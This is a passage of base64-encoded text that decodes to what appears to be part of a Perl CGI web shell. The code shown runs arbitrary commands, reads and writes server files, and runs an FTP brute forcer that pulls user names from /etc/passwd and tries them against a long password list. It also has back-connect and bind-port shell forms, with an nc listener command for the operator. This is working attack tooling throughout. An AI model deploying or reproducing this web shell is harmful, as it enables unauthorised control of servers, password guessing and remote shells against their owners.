TsKCX1lbHNlCgl7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kPC9ydW4+PGJyPjx0ZXh0YXJlYSBpZD0nZGF0YScgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkkcmVzdWx0IC49JlJ1bkNtZDsKCX0KCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgcnVuIGNvbW1hbmQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7Cgl9CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZvcm0gU2F2ZSBGaWxlIAojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZUZvcm0KewoJbXkgJHJlc3VsdCA9IiI7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsKCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsKCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7CglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsKCWlmKC13ICRGaWxlKQoJewoJCSRyb3dzPSIyMyIKCX1lbHNlCgl7CgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdjb2xvcjogeWVsbG93OycgPiBDYW5uJ3Qgd3JpdGUgZmlsZSE8Zm9udD48YnI+IjsKCQkkcm93cz0iMjAiCgl9CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsKCSRyZXN1bHQgLj0gIDw8RU5EOwoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KCSRQcm9tcHQKCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+Cgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZwoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+CkVORAoJCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7CgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGaWxlIE9wZW4KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgRmlsZU9wZW4oJCl7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJGJpbmFyeSA9IHNoaWZ0OwoJbXkgJHJlc3VsdCA9ICIiOwoJbXkgJG4gPSAiIjsKCWlmKC1mICRmaWxlKXsKCQlpZihvcGVuKEZJTEUsJGZpbGUpKXsKCQkJaWYoJGJpbmFyeSl7CgkJCQliaW5tb2RlIEZJTEU7CgkJCX0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsKCQkJCSRyZXN1bHQgLj0gJGRhdGE7CgkJCX0KCQkJY2xvc2UoRklMRSk7CgkJfQoJfWVsc2UKCXsKCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIFNhdmUgRmlsZQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZSgkKQp7CglteSAkRGF0YT0gc2hpZnQgOwoJbXkgJEZpbGU9IHNoaWZ0OwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7CglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkKCXsKCQliaW5tb2RlIEZJTEU7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXJldHVybiAxOwoJfWVsc2UKCXsKCQlyZXR1cm4gMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyIEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXJGb3JtCnsKCW15ICRyZXN1bHQ9IiI7CgkkcmVzdWx0IC49IDw8RU5EOwoKPHRhYmxlPgoKPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+Ck5vdGU6IE9ubHkgc2NhbiBmcm9tIDEgdG8gMyB1c2VyIDotUzxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3UKa2hvbmdjb2dpCmtob25nY29wYXNzCjZ7Si47fTI3VX4yYgpIPUIoKypJT3kjelYKR0FhMS1XfSFbUk0jClowRCU1Qi1XQ0RxTApHT0Elb01xXmN0PWcKKXl7OEVFTUktWHF4Cmg2VWd+em9lYX0hKQo1LFRnemJ4JnQ4PVEKQzBVY0FkLXhJNiVbCkp5LmxfPXd7eXJwUwo9blJjUn49ZHF9LS4KfWF9QCYze1Q4UThXCkFOI0gsR0lBRCRnOwpUYXdkKHFuWkVhV20KUzl6bmhQVTEkdUFkClpQQDAqS2FDW0VGJQptcXlYWkt0JGdjJTIKZTdzSy1EQytpS3lbCkEpQCZ7dUVlZipNdQpLVSFbc2MmSipNeHYKKl9wPVNAa11DYko5CikwTi1EOColLmZ+RApOVmFwX3Bza3JvR2gKO29bUDJLRFp4b3ZSCmdxO1pJRGxQdD1lOwpvNiNeIUR+N2U0UlYKfUFDSyUkI0hJdm89CnBxZnFOSDJEI21zVwpTfnJ5bEMwJHZwaUwKfT8oaFIwUSZCfTYkCkA7S252THJjJSw9UwpJdCVmYW5zSWQuNmMKW1VkVEEjdU5UXStXCk1JLDtAPW4ub2RfUwolT09uXj00dTN3YSwKPXNYT3AxUFZaRClVCjZlSzZEUVBwZ2xlVwpbUG9uYWMwQE1zMHsKWmc5enkmYjVUY31NCmdfXVQxQVJ0WkhQRwpdT1MuM09+dCt4YSEKLWJ1WHgsX147XVYqCnZkTTZzSDlfaX5GMQo7YWNEMyEzdUMrdFIKZTVReUs7djF3dGdmCnkmYn15KyNBSjt9Vwo3VGg5TXJzeF8yN2UKM3dCYWVpMXE0TXRiCnlCMnc1RXJDaUZxZwo0JWJwIWVjTkxPaGYKNCVicCFlY05MT2hmClJMLGspMFFDZF1EewoqLT0jWl0jSCskUWIKTHhPQ10yR1prJUx6CmY9e3VsRV5QKU1kSQpRczkqPVQ4YlRjb30KV2VnW01YLlJJNnNUCkhtLDh9QV9+dEg0cQpnTUFmSGxMPXB4R0gKYTdEWkR9SyR4Xns4CkE1Pz1FYix3TmhiRApCQlh6OSlQb1t5NC4KVFtDITc0cG9LQGtRCjBkMyxxQDdbaG9PRgo5X0M3cCFHO1dQUngKMUQzMiV1OUtlRlhMCi5GfUwmdmRwfXR0IQopRCtjQkpfKj9ETCoKNCpHdUc5LndzJl5PCjZAfnUlTiRtSiYmMgorS1hrSTtxZjQzemEKJUA5ZTYhMltrXTApCmlJIXY/SXN+cUYucwoxbWZ5RXc2QDMkfksKTCs/fmZUXzJnb2c0CktvfiUlQD9iWkxBfQouQjhjSUF4TW8od1MKa09AQChRPzNDKyhhCnEqdVRDWH55S0F9JQpPQDAkVUZ2dHlCLiUKI2J2Wi4uQysqLSt2ClIoWnAkPzBNTlZbRgpTKUMsQmx4MTdzXk4KU2VbRFU5Z3pVNHZNCitEeXBxJDI3W0VAXQpKaF9LcStBMTFwZEgKJE97U2tHcFE4YSRpCiYpXUZrcUUrQlRwQQptfm5lVWxNfVg2ZTQKe3gjKWcxTFRnXVIhCmRjUi5VSV9Qdk99XwptUiZ7UXU1Q0UpLCEKQWhbSyFRYUZMXyNQCjd1KkpVfmdjSktvYwpoVSRCRUFfRyEtPzIKbXRSSDJnZjMhaWx1CkdMVylLdUgqZUN+KgoyT107YmZzZmguOTUKJndATiEuV3JdZnV5Cksje0d4JDlXUExLKQpfUl1KQ041WyYlKy4KNVoybmErZDNzVUs/Ck5HUmJDayZ4NGFIKwpBVU8mVFt1PUpdYiYKXSQqIThHfSkoMTQ2CkJwTVR2MjEwSCtQRgo0Y35xZzRvdngoR2IKMTB0Xy4hMSNaVHNfClhlOEBUMWlkbUcuKgpDJTRhTjFzSWltKT8KTFgwLW1DYmtYIytXCk5rWDI5YztDaWZkbgpJJWtvb3ksXzE5W3MKNUlBVHp7Y35zbmQoCjRReHYkP3Ize202bwo3O1VPaHNAZHBpVkAKTD9QQVNWLThGem1hClpyb28sTz19fixyRQpXM3UqaS15XUk1V2cKZDtxQ0p5Q2U0V0psCjk9dDYueWh+VnYybQpKRkl7ISFBVngpeC4KYyE/MHpvU1AsUUBoCj9wTyNYTUhhOG5rNwpWfnU7JFRUOUErdDsKXSRKXWk7X1hmbDE1CkRTXjRWaERmSnFVdgotOFpodk9abTlQeFEKeSwzUyxGVFNRQl4pCjIpKmdoPVozLH14VAprUFNCNlIuIT1Kb1EKJSQ5NjhJLnJ5WzVKCjJGNlcmNG4rRm5eTworUXdAPTB9X0h7MlQKeGspfkNLODc0UFdLClZ0Lk5TUnZDOEJhZApBdHRoMlVnaDU3NEcKd2hnT1s2Wk9YW24rCm5hXzc/e3liYXhdNQpKM2lGLH4qKGUlRkAKPSZGV35oWkRdcCUjCm52bC4xTEN1XUUxJgomeGteUEUlaSFPI1AKSVdKTGwmaEpxej1pCl56MHNSeEp3IUNMbwo4XlYjbCQ3K29mLlsKNWxXQSxQMX5nKEwwCkNGSUdVdmI7RTNLSQpfR0AsQVFFUyR2TGUKbF57RW5BJG5bOU5iCkUxZygwXnEjWG87ZwomTWhLRjE7VzNvMCYKNTA0MjJCMmFnJmVtCkw5NTNIK212cUtHYQpMKUZfUU9AeTJedGQKSEFiS0AtJlRBVFNNCiMjOW0rZGkqSilAYgpmZCxiciVpVzUxck0KIUUtbV43TU5FTHtMCiZvMiVKQF9ScVt1VAokJkB5OHBFMFM9MEUKSXVybXJLdHpUJDQ5CkxUXS5TWG8jbEQycApSIztoJiEmLnpDSVIKTHdreSEtTy1BZlgmClpePSpXW2gzX2g7LgpnTnJpY1Zxe2k9LS4KLGl+QDYhdzJuZHpRCnA2aFNienMjSUtnMQpaaGJlbFR+TjJXeFcKJixzcjRUT2RvTUEtCjNrSXZyej9eVFMjSwpvVHYrMUBbNGg1e0MKbXJfWEJAfkhHKnBpCl1xYVI2LVQuMC45TwpUUHcuQ0Q5WjYqTCQKcyhBLkRAeHZPNSU5CmIhIyZAdlR2TiouOAosbyMpcjNULTVOZ1sKZTZXIWZiUmdyXXU5CiY7TjAkJUc4IXlYLgpsKUlzViRSLSZXQDUKUHhUa0YzT2JTbls2Cl5sS2Escn5jPSl0MwpVW3d0KlcpfU9lSGUKaHtEY3loKi1ofjlACmFTYjklQ3JXTmtNTgpuIyMjbG4ucEB6aGsKOS4rUFtXUCEpZy1HCnlrK1sxUn5hQHdIMAp5PTVyJF41Vl5wbVUKMyVLbnBURi1nbVVyClVCdi5IfntvKW84cApkS3s9KTc1JkVGVTUKKkVlc2dPR0k0eD9bCkU2WDVrI3tBNjV4VApwdXgpRFNrRkxJVGcKdzNKVl0hNWlkfUFdClVCVDN1LTBIKX5NJQo1JUMuN1smNzByfmwKSUpJW0g7bjReNVV4Ci1AMEMoUyp+QTd2UgpXQXIqTntPOEMoJGYKVCYraFotJHZyeGYpCnVGRHNRIWRWe0hHewpNeEE3cncwa3pKJjQKTFVNRWxxN0ZDMVpECnt+JTN9MCkxdVpQKQp2LW5MWmkhK2xVKCEKPXVhPVRRVlEpJHAwClZvSVRYb2ZeSHVfXgp6ckkmRVNvSH57VkgKUm9LLCV2fjsuXSxGCmwsRE02OU1DRE5xXwo2UFplMm5YeHlfZ3AKdWl3UX5dVHkyYTVrCjgwNVRiS0hDV3gqJQprcjNeYVc3QWt0UkUKUXE4ISpJSlU0LGtJClhVYl8ybXB9RCVRMgp4e0ROKUNFOzFxNDcKSHJSJUByJHRIfXs2Cm4hQWUqNXNyRXBPaQpOQn1BR3dyVltYN3MKOF5wIS0mO1BkLXYjCnIldDZkM1cmLSxHUAooay1nMSpkTSxVTHoKVSVwT1gybihnM1MtCiMxXy4qT28wOFY2LgpCdWcoK2RzYndISXUKVGNCfXRANC5OS35mCkc4X2Fkbys7YnVFeQpuYXNWQi07MkxCMHkKZiVYZWFyMiV5ZXdFCkA3LHVpcXZKRiRMQQpJNH02LE1GMnhLYUIKVk9nLmdGTXA/OywpClA4TzB6KSMmb3pEMQpQblhOLjM3UUdYYioKP2Z6dlRPXjFheDRICl5oIU49bGFIZ0FDSQpBNV1XKDBYa1tieE8KZFs1ZElOK14pNU82CmlBczhReEwmUFVuIwpASzgrUV0uU0I7cHoKbFUjRC4xSTkpaHldCl1kSl1dZ3ZVOF5Mbgo4MUdQVTR1T3FTRU0KJUhfYmVYQ0t5QD89Cl1hYX1teTU3fXhIUwpUblBJQj9BbWEtXTMKQl44KiNebEFbZ2ZrCmEzQWM1eEREO0NIMwomd3V9TWkuJURaT18KbTtaYzEtaWReNC1sCj9PaXM4S1RMO1U9TQpxfnZQN3JbRDlVZCwKSVB6eS1HTFNGNGtKCltyaCVVVExxVGFBUgpDTWFJRC5hbF5zIUcKN2tiaCFrM2tFTC0wCihOU3NwMmdCJF8kPwouZlNoXmteezY7THgKLmg5R1swYT1MJF81CjFbQHh4ZlBUOylCcgpmKDN4cnNiLCMuaS0KTStMbD9KQ08zbjJFCnRbdURwSWN2I1hDMAowISxUTj07QixPI3oKfk50VTt0W2UmPVs2CnB7eStNaCNafWE0TAo5eXN+SU1oTFo9LXIKN2s5RDQ2elR7IWJBCkYxViQ4OWRVLC1ITApSa0V2ZzJWNmVANlcKNENxR3osI3RATFVYCl9ESWNiZm47TVAyegpVJFBwd193VklUKkwKbkp5WEVOIyZXS1VBClE/c2VbUWxCKG9eJgpKN1teJH1Ea15vTjkKbWViXnAsKixWKCZrCnQ7XzE0KXtQYjhNTAp9PX5+ey02d1QwdFUKN1hMbkY7Y0ZhSWV0CiNXP2t4TEB+aWNkcgpCNl82TC4yQltyI0UKLEZ5YmtSejQjQTF1Ckl4JixXVFZbZWU5VApJLTVkaV50c0d5KTMKczIseWRESS5HMipDCmNOVHd4JTRYVXgwOApjb0dEODs4cighU24KXVFSO11+M3BYQGtUClpMXj1QRS0kIzRiOQpbSH1XZ2NuYXFsZVIKKzYoWyRiW0FGRHR5CnghLCojTHNXZldkYgpyaWUzJXNDWyN0RDAKLk1ya2gmZlotKzJRCn1vVF1pSmhtdX52SAo1KFQtRF17SlVEckIKU0JENlhBflA/ay0hCmk9aWVfbGZxK21wXgpUe11FS2FBWG1kISgKVTEsQyZ2Tjtlfnc4Ck0kJlBfdF9UY1d7Uwp0LlhTXzRATiFPSFEKckdVISEtX0UtbjVwCi1bZlo5UlhdVEVpSApXVlR6T2JwQS5IMlEKcyhtYltiSW9sXXU7Ck5Bfnp2ZVVlJnF5fQprZ0ZmbSo3cjExT2YKPUBQQ0h1WGJMRW90CmZkdUExMUxlRkJEfQp1YlRnbTliPSxFQUYKSjJCc2tHe0ZaVGldCkBeYjR9WDBNaGxrPQo1UyFsOVpAR144Qm4KPTY5PU1yLiVMaFhGCiheQk9HIVtPbC1EOwo3TVFbJjJ+R3FJa3UKN3BXLU80fSM3UjZnCmRFWDswVFZSbEhvKgotJn4jOU9xaXdabWgKTm5SdCN+JHdyR3VACms2cl4lKSt5d25wLgpEMSQ1dEVQSFhaezYKSWI9TTNSTiFUaE1NCldKU1g3WjRUI3c9NQpdUGEkNyZRS25nQigKPC90ZXh0YXJlYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+ClNsZWVwOjxzZWxlY3QgbmFtZT0ic2xlZXAiPgoKPG9wdGlvbj4wPC9vcHRpb24+CjxvcHRpb24+MTwvb3B0aW9uPgo8b3B0aW9uPjI8L29wdGlvbj4KCjxvcHRpb24+Mzwvb3B0aW9uPgo8L3NlbGVjdD4gCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+CjwvZm9ybT4KPC90YWJsZT4KRU5ECnJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXIKewoJbXkgJHJlc3VsdD0iIjsKCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsKCWlmKCRpbnsndXNlcid9IGVxICIiKQoJewoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsKCX1lbHNlCgl7CgkJdXNlIE5ldDo6RlRQOyAKCQlAdXNlcj0gc3BsaXQoL1xuLywgJGlueyd1c2VyJ30pOwoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7CgkJY2hvbXAoQHVzZXIpOwoJCWNob21wKEBwYXNzKTsKCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsKCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpCgkJewoJCQlpZigkdXNlcm5hbWUgbmUgIiIpCgkJCXsKCQkJCWZvcmVhY2ggJHBhc3N3b3JkIChAcGFzcykKCQkJCXsKCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyAKCQkJCQlpZigkZnRwLT5sb2dpbigiJHVzZXJuYW1lIiwiJHBhc3N3b3JkIikpCgkJCQkJewoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsKCQkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJCQlicmVhazsKCQkJCQl9CgkJCQkJaWYoJGlueydzbGVlcCd9IG5lICIwIikKCQkJCQl7CgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gVGVzdGl